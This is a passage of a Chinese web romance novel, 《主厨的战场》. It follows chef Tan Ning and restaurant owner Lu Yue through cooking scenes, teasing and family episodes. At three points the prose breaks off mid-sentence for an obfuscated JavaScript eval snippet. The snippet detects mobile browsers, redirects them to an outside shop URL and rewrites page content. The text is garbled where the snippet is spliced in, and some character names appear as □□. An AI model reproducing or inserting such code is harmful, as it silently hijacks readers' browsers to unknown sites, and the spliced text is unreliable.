“为什么最后一个才说到小刀呢？主要是因为这个办法比较挑手法，如果没注意力道的话容易把蛋黄切散，而且也会粘菜刀。如果实在要用刀的话，也能通过一些小方法缓解。” 谭宁拿起旁边的一个小碗：“需要准备的就是一小碗淀粉，在切之前把淀粉洒在刀刃上。” “就像这样。”她把菜单拿起来展示：“现在就可以切了。” 用三种不同的方法把鸡蛋全部切好后，谭宁顺势收拾了台面。 “好！现在食材都准备好了，咱们来起锅烧油。”谭宁拿起一罐油用勺子往锅里放：“最推荐的还是猪油，其次就是茶油。” 油热，鸡蛋放进去，最好是摊开，让鸡蛋的切面都能接触到油。用锅的热量和油的温度将表面炸出脆皮。 “不要着急翻动鸡蛋，需要等它定形，这样出来的鸡蛋才会比较好看，个个像金币一般完整。” 鸡蛋放下去不久，锅里便冒出云朵般的绵密泡沫，像是金黄色的棉花糖。 谭宁翻动鸡蛋，一边解释：“冒泡泡是正常现象，大家不要担心哈。” “下面我们把辣椒放进去翻炒，闻到辣味以后就可以放入蒜末和豆豉炸香。” “翻炒均匀就可以放盐和生抽调味，如果放榨菜的话就要少放些盐，这样味道才均衡。” 最后，撒上一把小葱，随意翻炒几下。鸡蛋香、辣椒豆豉香和葱香交织，出锅时冒着浓浓的热气，一道简单又下饭的金钱蛋就做好了。 谭宁找了好几个角度，拍摄了几段最后展示的画面。 “OK。”谭宁把素材导进剪辑网站，靠在桌边就开始粗剪。 没带耳机，她讲解的声音就这么外放着，在静谧而空旷的厨房里回荡。 “榨菜是从老板那儿顺的，老板死抠，请大家为我保密哈。” “榨菜是从老板那儿顺的，老板死抠……” “老板死抠……” 老板死抠……老板死抠……老板死抠…… “哈哈哈哈哈……”谭宁反复拖动着进度条，一下子爆笑出声，腰都直不起来。 狗陆跃！让你欺负我！看我把你挂在网上，到时候自有人替我骂你！ 哼！ 谭宁满意地看着自己的“杰作”，想象着评论区的“血雨腥风”，吃吃吃的笑个不停。 直到身后冷不丁响起一道阴冷的笑声，谭宁顿时背脊一僵，整个人像是被定在原地。 随后，铺天盖地的寒气笼罩了她。 “谭宁！你真当本少爷不上网吗？！” 20. 《主厨的战场》 “谭宁！你真当本少爷不上网吗？！” 身后传来一串哒哒的脚步声，谭宁知道陆跃正向她走来，在距离她一步之遥的位置停下。 后背和脖颈都沾染上他呼吸的温度。 谭宁死死闭着眼睛，牙关紧锁。 该死，怎么又被这货抓了个正着！陆跃这家伙该不会真是上天派来克她的吧！ 从陆跃的角度看去，她长长的睫毛一颤一颤，像是蝴蝶在煽动翅膀。 陆跃感觉自己的喉间像是被塞了一团棉花，想说的话都被堵在里面。 沉默的时间比谭宁想象的还要长，她终于忍不住睁开眼，缓慢地挪动脚步转身。 “你你你……你什么时候来的？” 她的声音像是寺庙里突然响起的钟声，陆跃恍然间回过神来，深呼吸了一下。 “在你笑之前。” 笑之前？ 谭宁低头拍了拍脑门，那不就全听到了！ “那什么。”谭宁僵硬地扯了扯嘴角，尝试狡辩：“要是我说，我说的人不是你，而是平行世界的辣椒碰头老板，你信吗？” “呵。”陆跃冷笑一声：“你觉得呢？” 谭宁自然知道他不信，这话骗三岁小孩都够呛。 没事，小场面，她能hold住。 “害！”谭宁一拍手掌：“其实你不用担心，网络世界这么大，保不齐你压根刷不到我。所谓眼不见心不烦，你在现实世界独自美丽就好啦！什么评论啊弹幕啊，都是浮云！把现生过好最重要，你说是吧？” 说是啊！快说！说！ 谭宁眨巴眨巴眼，不自觉地张开嘴等着他回答。 只见陆跃轻启嘴唇，“是……” 有了有了！这把稳了！ “是你个头啊！”陆跃抬手往她脑门拍去：“我看你是真该吃点核桃补补了！” 谭宁捂着头，红着眼抬头瞪他：“你什么意思！” 陆跃翻了个白眼，拿出手机点了两下：“自己看看这是什么。” 谭宁看过去，陆跃红薯的关注列表，正中间赫然一个吃了吗宁，头像正是她在塞纳河畔拍的。那天阳光特别好，她看着镜头，笑容明媚。 谭宁的手指在屏幕上方戳来戳去，不可置信：“你什么时候关注的我？？” 谭宁说着还想滑动屏幕，陆跃却先一步收起手机，哼了一声：“当然是在节目录制以后，不然你以为呢？” 节目录制以后？可是自从上了节目她都没更新过了啊，陆跃这货关注她干嘛？ 谭宁思索半天，也没想出陆跃关注她的原因。 正要问问他，陆跃已经转过头看向她做的那道菜：“金钱蛋？你做的？” “不然呢。”谭宁颇为无语地看了他一眼：“这屋里除了我你还看见别人了？” “难说。”陆跃上前一步，用手指捏了一块鸡蛋往嘴里送，边嚼边说：“万一是鬼做的呢。” 谭宁毫不客气地拍了下他的手，没好气道：“鬼做的你还吃！” 别说，还挺好吃的。 陆跃又连着吃了好几个，谭宁看着他一动一动的下腮，哎了一声。 “你干嘛关注我红薯？” 陆跃转过头，盯着她疑惑的眼睛看了许久，冷不丁地笑出声来。 “哈哈哈哈……” 谭宁被他笑得后背发毛，皱起眉头：“你笑什么！” “你是节目的嘉宾、店里的主厨，我关注你不是很正常？” 还反问她：“谭宁，你想到哪里去了？” “我……”问的时候谭宁明明没想歪，被陆跃这么一说，她莫名感觉脸热。 陆跃已经向她逼近：“还是说……” 谭宁闻到了陆跃身上的清凉气息，好像是那款最古早的花露水的味道。 没想到他这个富二代还挺接地气…… 在她走神的功夫，陆跃的脸已经靠在她耳边，他稍稍侧过头，潮湿的热气往她耳朵里钻。 “你以为我暗恋你？” 轰隆—— 头顶响过一声惊雷，谭宁被劈得一动也动不了。 陆跃刚刚说的什么？他暗恋她？不是不是，是她以为他暗恋自己…… 这怎么可能呢！这不是血口喷人呢嘛！ “你你你！你瞎说什么呢！我暗恋你？不是！你暗恋我？”谭宁整个人都要不好了。晕头转向，舌头一直在打结：“我的意思是：你不懂就不要乱说！” 陆跃直起身子，淡淡地哦了一声，似乎颇为遗憾的样子。 不过这应该是谭宁的错觉，因为下一秒他又挂上了那副混不吝的笑，没皮没脸地说：“开个玩笑而已，至于反应这么大吗你？” 然后他就这么大摇大摆地走了。 独留谭宁站在原地愣了许久，捂着胸口，跟生怕里面有什么东西要跳出来似的。 然后恍然间回过神来：不是，他俩不是死对头来着吗？她质疑一下身为死对头的他关注自己的行为，这不是再正常不过吗？ 所以到底是谁有鬼？ - 关于谁有鬼这件事直到最后谭宁也没有弄明白，陆跃一声号令就把她叫到厨房去试菜。 而他所说的试菜也不仅仅是试菜，哪里不对，怎么修改，事无巨细都要问得清清楚楚。 不过这回谭宁倒是一点都不亏，因为陆跃让她的试的菜是一道蟹黄鱼翅。 这道菜可不简单，称得上是国宴级别，一般的饭店轻易也不会做。 按理说，谭宁许久没接触中餐，也不可能对这道菜的名称脱口而出。 但偏偏，这又是一道麓山秋的招牌菜。 啧，这陆跃还真是跟自家餐厅杠上了。 谭宁看着黄澄澄的蟹黄汁水裹着鱼翅盛出来，也就那么一小碗。 陆跃把那小炖盅挪到她面前，眼神示意。 谭宁拿起勺子，不自觉咽了咽口水，说：“那我可就不客气啦？” 陆跃没好气地催促：“装什么呢？快，不然我叫你来干嘛？” 那就好那就好，她这不是怕某个铁公鸡又临时反悔嘛，毕竟这一碗可不便宜。 有了许可，谭宁终于完全放下心来，细细品味这一碗热腾腾的蟹黄鱼翅。 不开玩笑，第一口下去，谭宁感觉自己吃了个寂寞。鱼翅可以说是入口即化，等她回过神来，舌尖上只残留了一点点蟹黄的鲜甜。 她疑惑地嗯了一声，紧接着又往嘴里送了一口。 这次她刻意用舌尖抵住，终于尝到了鱼翅丝丝缕缕的弹韧口感。 刚要闭上眼惊叹，又顺着喉咙管下去了。 “你这……”她没忍住开麦：“煮得有点过头了吧？” 陆跃点了点头，在纸上记下：“还有呢？” “我再尝尝。” 于是谭宁又连着舀了好几勺，边吃边品。不多时，碗就见了底。 瓷勺与汤盅碰撞发出清脆的声音，谭宁舔了舔嘴唇，清清嗓子。 “首先，姜的味道重了。” 谭宁理解生姜加在里面主要是为了给蟹和鱼翅去腥，但这一碗里明显姜的味道是超标的。 她猜测陆跃是在熬制的过程中加了姜汁进去。 陆跃点了点头说：“这是黄焖汁的一种做法，用黄酒、姜汁、鸡油还有藏红花水熬的。” 关于这个谭宁并没有研究过，所以也指不出问题所在。她只能从一个食客的角度告诉他：这个味道不太对，需要改进。 “好。” 谭宁点了点头，接着说：“我觉得最大的问题还是鱼翅和蟹的味道不够融合，这跟鱼翅煮得太过也有点关系，感觉吃进嘴里除了姜味就是蟹黄味。” 不过该说不说，这蟹黄的味道是真不错。 六月黄，一定是六月黄。有甜又滑又紧，鲜得人直掉眉毛。 谭宁往陆跃记录的本子上瞄了一眼，零星看到一些文字。 方案八，就是他现在记录这一页的标题。 谭宁不禁咋舌，也就是说在这之前，他至少还做了七次。 终于知道这人的钱都花到哪儿去了，也就是家底厚吧，不然哪里禁得住这么花。 “还有吗？”陆跃抬起头，直直地撞进谭宁的眼里。那里好像是一片金灿灿的花园，种满了向日葵和郁金香，头顶是润而不燥的太阳，有蝴蝶在里面飞来飞去。 谭宁没想到陆跃会看过来，也没想到他们谁都没有挪开目光。 直到…… “因为爱情～～不会轻易悲伤～～～所以一切都是幸福的模样～～～因为爱情～～简单的……” 两人缓缓眨了眨眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525949|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸色微变。 “你刚唱歌了？”陆跃问。 谭宁额头上青筋直跳，跟吃了跳跳糖似的。她把手机从兜里掏出来，咬着牙瞪他：“我唱个屁啊！” “不是。”陆跃尴尬地摸了摸鼻头，“你这手机铃声也挺别致啊，我奶现在都用苹果香了……” 谭宁看了一眼来电，大脑一瞬间绷紧。 “嘘！”她的手指突然怼在他嘴边，是冰凉的触感，陆跃像被冰封住了。 “别说话！我妈给我打电话了！” 谭宁一副如临大敌的样子，陆跃僵硬地点了点头。谭宁瞥了他一眼，这才按下接听。 “喂～妈妈～～请问您有何吩咐？” 谭宁刚开口，陆跃身子一个没稳住，差点原地往后倒去。他难受地动了动嘴唇，立马被谭宁回头一个眼神定住。 不是，咱就是说接电话归接电话，能不能先把你的手拿开啊！ …… “马上回马上回，这不是临时有事忘记跟你说了嘛，放心吧我没丢，好着呢！” 电话那头的周敏华：“回来轻点，我和你爸先睡了。还有，你给我好好说话！” “夹着个嗓子，扭扭捏捏的，像什么话！从小就让你大大方方的，才回来几天啊，全忘光了！我跟你说，下次再让我听到你这么说话，我告诉你……” 周敏华尖利的嗓音极具穿透力，且一念叨就没完。谭宁听得头皮发麻，赶紧一把捂住听筒，身子往外偏，凑近说：“知道了知道了，我马上回。” 然后马上按下挂断，生怕慢了一秒。 谭宁把手机放回兜里，一回头看见陆跃举着两只手站在那儿，像是被谁劫持了一样，一动也不敢动。 她眨了眨眼，这才发现自己的手还放在他的唇上。 这个姿势，他像是被自己堵在墙角。眼尾泛红神情紧张的样子，仿佛她是欺辱良家妇男的花心大盗。 在画面被召唤出来之前，谭宁赶紧拿下手指，拍了下自己的脑袋。 大姐！你丰富的想象力能不能不要随时喷发啊！！这样让她以后还要怎么直视陆跃！！！ “咳咳——”谭宁低头咳了一声：“那什么我妈催我回家，我得赶紧走了。菜就试到这儿吧，有什么事明天再说，行吧？” 说完她就转身要走，被陆跃的一只手抓住胳膊肘，整个人又回弹回来，像根滑稽的弹簧。 “哎哎哎！”谭宁声音都变调了，把他的手拍开：“有事说事！你别动手！” 陆跃自然不会轻易放她走。谭宁喝了他一碗鱼翅，又骗了一天半的假去，话都没说完就想走？ 陆跃微微松开一点，低头扫了她一眼：“把你刚刚要说的说完再走。” “哦。”谭宁理了理金棕色的碎发，站直了身子。 “前面我不是说了嘛，这道菜感受不到鱼翅的味道，要么就是泡发有问题要么就是你煮久了。” 陆跃皱了皱眉：“泡发？什么问题？” “我大学参加比赛的时候听师傅说过，鱼翅在泡发的时候需要用鱼胶水定型，要不然烹饪的时候容易松散。” 谭宁看了眼陆跃若有所思的样子，笑笑说：“不过这也是我听人家说的，并不十分确定。要是你有功夫的话可以试验一下。” 陆跃听着已经拿出了本子，落笔时沙沙作响。 “怎么样？”谭宁凑过去：“那我现在可以走啦？” 陆跃嗯了一声，拿着笔的手往外挥了挥。 这是同意的意思。 “OKOK。”谭宁咧开嘴笑得灿烂：“那我就先撤了，你接着加油！” 她比了个打气的手势，放轻脚步溜了出去。 飞快收拾完东西，谭宁重新哼起歌来。想到明天可以睡到自然醒，脚步都轻快起来。 就这么蹦蹦跳跳地走到门口，她突然回头看了一眼。那扇小小的窗户往外透出白色的光，乒乒乓乓的响声不断。 谭宁脚步一顿，犹豫片刻，她又折返回去。 “陆跃！” 她的脸这么出现在窗户口，所有的光都落在她身上，脸上的每一根细小的绒毛都清清楚楚。 “刚刚忘记跟你说了，其实那碗汤还不错。” 谭宁远远地冲他笑，像是怕他不相信似的，接着又补了一句：“真的！” 21. 《主厨的战场》 陆跃晚上回去做了个梦。 梦中是一片蓝调的湖泊，幽静的月光洒在湖面，不时传来若有似无的笛声。 陆跃迷茫地走在通往湖泊的那条小径上，月光是那么亮，那么美，他看得出了神。 隐约中，陆跃看到远处有个皎皎的人影，她穿着纯白的连衣裙，齐肩短发。月光洒在她裸露的肩膀，像是为她披上一件若隐若现的银色披肩。 这个背影是如此熟悉，陆跃觉得自己一定在哪儿见过。 在哪儿见过呢？ 忽然一阵风吹来，撩拨着静谧的湖面，也惊动了湖边的人。他来不及细想，赶忙跑上前去。 明明那片湖水近在眼前，却像是怎么也跑不到尽头似的。 他跑啊跑啊，自己也不知道跑了多久。跑到腿都酸了手都麻了，呼吸急促，唇齿间有血的腥甜。 终于，他来到那片湖边。 陆跃急不可耐地对着背影伸出手，却扑了个空。她像是那水中的月，而他就是捞月的猴。 梦中的陆跃急得差点跳起来，眼看着天就要亮了，那抹蓝色正在被金黄一点点盖过，背影一点点模糊。 陆跃心有不甘地蹲下身子叹了口气，突然后背被人拍了一下。 他回过头，那是被日光染得金灿灿的一张笑脸，金棕色的头发从颈侧垂下，有几缕打在陆跃的肩膀。 陆跃仰着脑袋，脖子因为这个动作而渐渐发酸，正要说话，面前人突然对她吐了吐舌头，像是一条毒蛇吐息着信子。 “骗你的！其实那碗汤一点都不好吃！” “啊哈哈哈哈哈……”那张脸狰狞地笑着，笑声魔性又刺耳。 “啊啊啊啊啊！滚！滚啊！” 一道刺眼的白光闪过，陆跃从梦中惊醒。他蹭的一下从床上坐起，瞪着眼大口大口的呼吸。 许久，呼吸声才渐渐缓慢下来，陆跃从那种麻意中缓过神来，发现自己全身湿淋淋的，像是刚从水里被捞出。 室内一片漆黑，陆跃看了眼床头的时钟，五点二十分。 再睡肯定是睡不着了，汗湿的衣物贴在皮肤上，黏腻得很。陆跃嫌弃的看了一眼，果断从床上撑起，穿鞋。 谁承想脚刚接触到地面，往前走出一步，左腿绊住右腿，整个人不设防地往外飞了出去。 这么大个人扑腾一下倒在地上，尽管铺了地毯，手肘和地面接触的一瞬间还是发出哐的一声。 陆跃疼得龇牙咧嘴，好不容易从地上爬起来，闭上眼睛的一瞬间梦中最后一幕又从眼前闪过。 他被吓得一个踉跄，好险这次扶住了墙面，避免二次悲剧的诞生。 “靠！”陆跃终于没能忍住大骂一声，然后揉着那一顶鸡窝头一瘸一拐地进了浴室。 凉水在全身浇了一遍，出来时总算清爽了点。换上衣服，穿戴整齐，陆跃下楼直奔厨房。 底下静悄悄的，陆跃放轻动作，小心翼翼地打开柜子。 里面摆着几排罐头，陆跃轻车熟路地拿起那个红色的罐头，一打开，傻眼了。 他的鱼翅呢？飞啦？ 陆跃又把柜子从里到外都翻了一遍，什么桂圆红枣虾干虾皮瑶柱干贝……什么都有，就是没有他心心念念的鱼翅。 “怎么就没了呢……明明前几天还是满的来着……” 此时家里的刘姨经过厨房，听到里面传来窸窸窣窣的响声。 她在原地疑惑了一瞬，以为另一位帮工这么早就起来干活了，结果进去一看，一团巨大的黑影蹲在地上，头都要伸进柜子里了。 本来就没开灯，还是背光的情况，刘姨生生被吓了一跳，心脏都差点要跳出来。 “啊！谁把圆圆放进来了！” 身后骤然传来人声，陆跃也吓得够呛，一个着急还不小心撞到了头，疼得他眼冒金星。 “刘姨！别喊了！是我！”陆跃捂着头从里面出来，整个人狼狈极了。 圆圆是老爷子养的狗，一只比利时牧羊犬，通体漆黑，油光水滑。 陆跃疼痛的同时没忍住翻了个白眼，这刘姨眼神也忒差了点，竟然能把他看成一只狗！ “小陆？”刘姨听到他的声音，小碎步走过来，这下终于看清楚了。 “乖乖哟，你要吓死我啊！”她不轻不重地拍了他一下：“大早上跑厨房来一声不吭的，饿了就喊我啊。昨天晚上炖了甲鱼，我拿来给你煮个面，再蒸两个槐花包子！” 从陆跃还是个抱在手里的小娃娃开始，刘姨就到他们家来了，名副其实看着他长大的。 虽然家里都是厨师，但刘姨这一手家常菜真是没人能比。星城菜自然是不在话下，除此之外，她还会各种面点。什么包子饺子面条锅贴火烧……只要叫得出名的，就没有她不会的。 就说早上下面条吧，星城人喜欢吃的是那种碱水面条，口感筋道，还有种特别的香气。 刘姨每天晚上睡前都会把面团做好放冰箱隔夜，这样第二天早上醒来可以直接用压面机切，湿润度刚刚好。 配上咸香微辣的炒码，加点醋和干辣椒粉搅拌均匀，粘稠的汤汁裹着面条吃进嘴里，能回味一上午。 光想想都要流口水了，但陆跃还是忍痛拒绝了。 他站起身拍了拍裤子，说：“不用了刘姨，我今天要早点去店里。” 然后他环顾了一眼四周，状若无意地问道：“刘姨，家里的鱼翅放哪儿了？” “鱼翅？”刘姨皱了皱眉，显然不知道：“什么鱼翅？” 这也难怪，刘姨平常做的都是再普通不过的家常菜。鱼翅鱼胶还有海参这种食材都是家里来了客人以后才拿出来，掌勺的要么是他爸□□海要么是他妈胡琇。 陆跃暗自叹了口气，看来只能等下次家里补货了。 “没事。”陆跃拍拍手，经过冰箱的时候拿了瓶牛奶。 刚要关门，眼睛瞥到旁边的缸子里泡着海参，看着已经发得差不多了，赶紧喊道：“刘姨！帮我拿个袋子！” “来了。”袋子很快递到手边，陆跃拿着海参就往里装。 一个两个三个四个…… “哎哎哎！”刘姨看不下去了：“差不多得了。上回拿了你爷爷一瓶酒，还骗我说不值钱，把爷爷气得晚饭都少吃一碗！这海参你爸从前天就开始泡，说是要来招待贵客的，快别拿了。” “知道知道。”说着知道，还是连着往袋子里装了好几个，还毫不客气地说：：“放心吧，我爸那老花眼看不出来。” “唉！”刘姨敲了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17530275|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下，最终还是没说什么，只是又开始絮叨：“你说你，非要跟家里闹得那么僵干什么？现在好啦，要点什么东西还跟做贼一样，真是的……唉！” “好好好。”这话陆跃听了得有上百遍，刚开始还有点波澜，现在全当耳旁风过去了：“我先走了。谢谢您替我保密！有空接您去我店里吃饭！” 男人画的饼对哪个年龄段的女生都很管用，更何况陆跃还天生长了一副受人喜欢的好皮囊。 刘姨顿时展开笑颜，对着他的背影佯装要锤他：“臭小子！晚上早点回来！” 意外收获了海参，脚步都轻快了许多，就连早上因为一连串的倒霉遭遇而阴沉的心情也晴朗了不少。 一路哼着不成调的小曲下到车库，潇洒地开着爱车走了。 □□海站在别墅二楼的阳台上，看着那辆绿色的跑车飞速驶离，留下一串轰隆隆的声音在山间回响。 “哼！”□□海冷哼一声，甩着袖子转身进屋。 胡琇从手机里抬起头瞥了他一眼，问：“走啦？” “走了。”□□海躺回床上，陆跃摔的那一跤让两口子以为是打雷了，本来睡觉就轻，被吵醒更是睡不着。 觉没睡好，又看到陆跃那小子一早上跑出去，心情自然不怎么好。 “真是越来越不像话！”□□海越想越气，干脆坐起来和老婆倒苦水：“本来以为放他出去吃点苦头能收收心，结果呢！现在是猛兽归林，彻底野了！哼！我倒要看看他能折腾多久！” 胡琇看着他飞舞的胡子，毫不留情地戳穿他：“他要是猛兽，你就是上赶着给他送肉的人！” “我什么时候……” “在我这你就别装了。”胡琇心里清清白白，□□海全身上下就属嘴最硬：“你说你要给他东西，跟我说一声不就得了。装模作样的在厨房晃悠一上午，转头还特意交代刘姨家里要来客人，生怕你儿子不拿走是吧？” □□海顿时气势都矮了几分，但嘴还是要硬的：“你瞎说什么！老王要来家里你又不是不知道，跟那臭小子有什么关系？” “对对对，全世界就属你最贴面无私。”胡琇白了他一眼，放下手机进了洗漱间。 □□海被这轻飘飘的一句话气得从床上蹦起来，扔下一句我跟你说不来就开门出去了。 “切！”胡琇回头看了一眼，勾起嘴角。 她还不知道他的，保证第一件事就是下去翻冰箱去了。 这一对父子啊，真是一个锅配一个盖，真不愧都姓陆！ 跟陆跃恰恰相反，谭宁这一觉睡得极好，没有任何人打扰，睁开眼阳光透过窗帘缝隙洒在床单上，看着就让人心生欢喜。 家里静悄悄的，周敏华照例去上班，而谭正和大概率是和钓友约着去钓鱼了。 谭宁一个人简单解决了早饭，就马不停蹄地换上衣服出门。 今天她穿的是一件黑色背心配浅蓝色牛仔短裤，裤子垂在膝盖往上一点的位置。因为天气热，她把头发盘成一个低丸子头，看起来又随性又元气满满。 她抬头照了眼全身镜，看着自己这一身满意地点了点头，推门出去，微风和阳光撞了她满怀。 谭宁展开笑脸大步向前，心想今天一定会是个好日子！ 22. 《主厨的战场》 暴雨后的第一天，阳光显现，虫鸣鸟叫，地面清清爽爽。昨天被雨困在家里的人们按捺不住出去晃晃的心，一个接一个地打开家门拥抱自然。 辣椒碰头的红薯号在昨天晚上发布了今天的中餐菜单，有了昨天全城宣传的预热，加上天气好，热度也是丝毫不减。 到店以后陆跃通过后台提取的数据，大概计算了一下今天的人流量，这才和王师傅一起准备。 在这间中厨房，王师傅是真正的掌勺大师傅，而严格说来，陆跃也算是他的小徒弟。 一年前把王师傅招到店里时，陆跃顺势拜了王师傅当师傅。本来辞了麓山秋的工作过来就已经够冒险了，现在眼看着还要收国宴大师的亲孙子为徒，王师傅头摇得像拨浪鼓。 不过要说陆跃这人的确是有点本事在身上的，大概是他的诚心打动了他，又或许是有些什么别的原因，总之后来像模像样地喝了拜师茶，陆跃正式成了王师傅的徒弟一枚。 之前摄影大哥一直是跟着谭宁拍的，今天谭宁不在，导演组便转换了跟拍对象，让他跟着陆跃。 因此这也是开播以来第一次在镜头面前展现陆跃工作时的画面。 王师傅虽然平常看起来挺平和的，但只要一开始干活，整个人就立马严肃起来。无论是谁，哪一个细节没有做好，马上就会听到他发出啧的一声。 “啧！切个东西看你抖的！怕什么啊？不是教过你吗？食指要按住刀面！按住！” 王师傅说着就要上手，敲人脑袋耳提面命，让人长记性。 在这之前陆跃真刀实枪上战场的机会很少。在麓山秋的时候就不必说了，那是结结实实当了四年学徒，每天就是洗菜刷碗。 自己开店以后大多数时候进这个厨房都是在下班的时间研发菜品，要么就是人手不够的时候来帮忙。 但现在转换了经营模式，这个菜单大部分也是陆跃研究的菜品，王师傅便提议让他自己来做一部分菜。 他吹开杯子里茶沫，对他说：“学了这么久，总要让我看看成果吧。” 准备了这么久还是第一次参加大考，还要把豆腐切成饺子皮一般薄薄的片状，尽管练习了多次，也难免会有些紧张。 店里的人并不知道王师傅是陆跃的师傅，因此在看到王师傅训陆跃时，不自觉的在心里为他心里捏了一把汗。 这陆总人好归人好，但你王师傅一个下属怎么敢对老板这么蹬鼻子上脸的？ 于是几双眼睛不约而同地盯着陆跃，仿佛他是一颗定时炸弹，就等着在爆炸的一瞬间冲上来保护王师傅。 结果等了半天，等到陆跃委屈唧唧的一句哼声。 他苦着个脸对王师傅说：“师傅我紧张啊，要不还是你来吧？” ？？？ 以为是老虎发威，搞半天是只kitty猫啊！ 弹幕更是要笑疯了： 【不是？？谁能告诉我刚刚那死动静是谁发出来的？】 【不管你是谁，赶快从陆总身上下来！】 【陆总，谭主厨刚走一天就疯了吗？】 【啊啊啊啊我受不了了，陆总请正确用脸好吗？】 【太有反差了吧～顶着这么一张冷酷不羁的浪荡公子脸撒娇，我真的要不中了！】 【我靠！楼上戳中我xp了（色）】 …… 王师傅那叫一个恨铁不成钢啊，要不是有别人在，他真想一个巴掌拍上去：瞅你那上不了台面的样子！出去千万别跟人家说我是你师傅，丢脸！ 现在他只能眼神警告，但语气终究还是柔和下来：“我在旁边给你看着呢，紧张个屁！” 好吧。 陆跃做了个深呼吸，回想很久之前学过的内容：用三个手指按住刀把，大拇指和食指分别按住刀面两边，切的时候另一只手按住豆腐，小心翼翼地从侧面下刀。 切的时候手千万不能抖，保证豆腐的均匀和完整，眼睛也要时刻盯着。这么一连来了好几次，终于把一块豆腐分成了几个薄片。 “OK。”有惊无险地完成了第一步，陆跃放下刀，才发现自己满头大汗。 他用挂在脖子上的毛巾随手擦了擦，回过头发现大家都在偷偷瞄他。 …… 啊，刚刚太丢脸了是么…… “那个陆总……你看你需要什么，待会我们帮你切吧？” “是啊是啊，我们闭着眼也能切！” …… 话音刚落便迎来一片死寂，旁边的人一个个低头斜眼瞪着说话人：说话能不能过过脑子！这不阴阳人吗？ “不不不！”说话人自己也反应过来，顿时慌的一笔，手都要摇酸：“我不是说您切得烂的意思，我……” 越描越黑，站在他旁边的人死死捂着脸，恨不得踩他一脚。 王师傅终究还是护犊子，噗嗤一声笑出来：“你看，再不发挥出实力来都要笑话你。” 被敲打后，陆跃绷直嘴唇，自己也给自己上压力。 现在要做的这道菜叫做鲫鱼抱鲜饺，设计理念主要是用豆腐充当饺子皮包裹着青菜，放进鲫鱼熬制的汤底里。主打的就是一个字——鲜。 前面用来包饺子的青菜已经准备好了，用到的有四季豆、莲子、仔姜和南瓜花。 仔姜切成丁，新鲜莲子去芯后切成小块。南瓜花去掉花蕊，保留花瓣和一部分剥丝后的枝干，和四季豆一起焯水后切好备用。 接下来就要处理鲫鱼。 鲫鱼取出鱼肉的部分，鱼骨切成块洗净后用来煲汤。 热锅，用猪油把鱼煎香，同时放入姜片去腥。一面煎出金黄色的脆壳后再翻面煎另一面。 等到两面都煎好以后，倒入热水，充分进行水油混合。加入冬瓜熬煮十五分钟后用漏勺过滤，取出最精华的部分，再次上锅。用少量盐和胡椒粉调味，撒上紫苏叶，一碗奶白奶白的鱼汤底就做好了。 熬鱼汤的过程中把鱼肉剁成泥，放冰箱冷冻层冰十分钟后拿出。鲫鱼肉加盐搅打上劲，过程中每隔一会儿加入冰过的姜水。加一点生粉和猪油，最后放上前面准备的鲜菜，一点胡椒粉调味。 馅料备好，开始包饺子。 需要在底下第一块细细的纱布，这样才能保证脆弱的饺子皮不会破。取一块适量的鱼肉馅料放在豆腐上，轻轻卷动纱布对折，压一压，这样就包好了。豆腐饺子上锅蒸三分钟，进行定形。 所有要素准备完毕，只需要在上菜前进行最后的组装。 碗底铺上莲子和南瓜花打底，中间错落着摆放主体豆腐饺子，最后再浇上一勺鱼汤，这样一份鲫鱼抱鲜饺就做好了。 “鲜掉眉毛哟～”王师傅连连点头：“不错的不错的，算你考试通过了。” 陆跃看着这道自己亲手做出来的菜一份份被送上餐桌，终于体会到谭宁所说的那句话。 制作一道菜就像是接生一个新生命，当它完成的那一刻，脑海中似乎也响起了一道响亮的哭啼声，而那是世界上最美妙的声音。 - 谭宁从跳舞机上下来，大汗淋漓。今天的运动量已经达标，她擦了擦汗，补充完水分后和跳舞搭子说拜拜。 “我走啦，下次见！” 女孩是个脸圆圆的初中生，家就住这商场附近，暑假期间经常到电玩城来玩。谭宁从小就是孩子王，和她第一天认识就混熟了。 “好呀好呀！”女孩甜甜的冲她笑：“下次来之前给我发消息，我把我的手账本带来给你看！” “没问题！” 从电玩城出来，谭宁在红薯上搜索帖子，准备找个附近的地方觅食。 早上吃的那么点东西早就消耗殆尽，现在看什么都想吃。 不过此行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533360|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她是带着目的来的。上次和陆跃一起探店过后尝到了甜头，收获颇丰。现在有时间，谭宁也想找家西餐厅取取经。 谭宁翻了又翻，这附近能称得上是西餐厅的都是连锁店，参考价值实在不大。本来她不死心准备骑车去远一点的那家，结果半路上抬头看到一家名为琇海记的店，明黄色的招牌非常亮眼，店门口摆满了鲜花。 谭宁一下子就被吸引了，果断把西餐厅的计划放到晚餐，停好小电驴就往琇海记去。 